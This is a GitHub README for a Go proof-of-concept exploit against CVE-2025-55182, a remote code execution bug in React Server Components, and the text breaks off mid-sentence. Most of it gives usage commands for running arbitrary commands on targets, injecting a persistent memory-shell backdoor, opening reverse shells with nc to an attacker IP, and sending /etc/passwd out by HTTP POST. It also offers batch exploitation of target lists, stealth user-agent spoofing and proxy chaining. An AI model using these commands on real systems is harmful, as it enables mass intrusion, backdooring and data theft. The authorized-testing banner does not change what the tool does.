keklick1337/cve-2025-55182-golang-pocGo-based proof-of-concept for CVE-2025-55182, a critical RCE in React Server Components. Features vulnerability checking, command execution, memory shell injection, reverse shell, batch scanning, and proxy support for authorized security testing.
⚠️ FOR AUTHORIZED SECURITY TESTING ONLY ⚠️
CVE-2025-55182 (also known as CVE-2025-66478) is a critical Remote Code Execution vulnerability in React Server Components (Flight protocol). This tool is a Go implementation of the PoC for security research and authorized penetration testing.
Affected versions:
The exploit leverages prototype pollution in Flight protocol deserialization:
$@ deserialization to get a Chunk referenceChunk.prototype.then as the then property of root objectRESOLVED_MODEL to call initializeModelChunk with a controlled fake chunkresponse._formData.get with attacker payloadresponse._formData.get to Function constructor for arbitrary code execution/exec?cmd=Download the latest release for your platform from GitHub Releases.
Available binaries:
# Clone repository
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Build for current platform
go build -o cve-2025-55182 .
# Or build for all platforms
chmod +x build.sh
./build.sh
After running ./build.sh, binaries will be available in the build/ directory for all supported platforms.
# Check single target for vulnerability
./cve-2025-55182 -u http://target:3000 --check
# Detect Next.js version
./cve-2025-55182 -u http://target:3000 --version-check
# Execute command with output
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
# Inject memory shell (checks if already installed first)
./cve-2025-55182 -u http://target:3000 --memshell
# Test if memory shell is active
./cve-2025-55182 -u http://target:3000 --test-shell
# Execute command via memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
# After injection, you can also use curl directly:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'
# Add custom headers (can be used multiple times)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Skip SSL certificate verification (for self-signed certs)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure
# Combine with other options
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 with authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 without authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
# SOCKS4 proxy
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
# HTTP proxy
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
# Batch check from file
./cve-2025-55182 --urls targets.txt --check
# Batch scan with JSON output
./cve-2025-55182 --urls targets.txt --check --json -o results.json
# Batch scan with multiple threads and stealth
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
# Save vulnerable targets to file
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
# Batch memory shell injection
./cve-2025-55182 --urls targets.txt --memshell --workers 10
# Batch command execution
./cve-2025-55182 --urls targets.txt -c "id" --threads 5
# Reverse shell (mkfifo + nc, works on Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
# Start listener on attacker machine first:
nc -lvnp 4444
# Exfiltrate command output via HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Start listener: nc -lvnp 4444
| Option | Description |
|---|---|
-u, --url | Target URL (e.g., http://localhost:3000) |
-f, --file | File containing target URLs (one per line) |
--urls | Alias for -f/--file |
-o, --output | Output file for vulnerable targets |
--json | Output results in JSON format |
-c, --command | Command to execute (with output) |
--check | Check for vulnerability |
--version-check | Detect Next.js version |
--proxy | Proxy URL (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port) |
-H, --header | Custom header (can be used multiple times) |
-k, --insecure | Skip SSL/TLS certificate verification |
--stealth | Stealth mode: browser, crawler, security (default: browser) |
--delay | Delay between requests (e.g., 2s, 500ms) |
--variants | Use multiple payload variants for thorough check |
--memshell | Inject memory shell (persistent backdoor) |
--test-shell | Test if memory shell is active |
--shell-exec | Execute command via memory shell |
--revshell IP PORT | Establish reverse shell |
--exfil CMD IP PORT | Execute command and POST output |
-t, --timeout | Request timeout in seconds (default: 15) |
--threads | Number of concurrent threads (default: 10) |
--workers | Alias for --threads |
--nocolor | Disable colored output (for Windows/pipes) |
-h, --help | Show help message |
-v, --version | Show version |
socks5://user:pass@ip:port - SOCKS5 with authentication
socks5://ip:port - SOCKS5 without authentication
socks5h://ip:port - SOCKS5 with remote DNS resolution
socks4://ip:port - SOCKS4 proxy
socks4a://ip:port - SOCKS4a proxy
http://user:pass@ip:port - HTTP proxy with authentication
http://ip:port - HTTP proxy without authentication
https://ip:port - HTTPS proxy
| Mode | Description |
|---|---|
browser | Mimics real browser requests (Chrome, Firefox, Safari, Edge) - default |
crawler | Mimics search engine crawlers (Googlebot, Bingbot, Baiduspider, etc.) |
security | Uses security scanner User-Agents (Nessus, Nuclei) |
The memory shell feature injects a persistent backdoor that: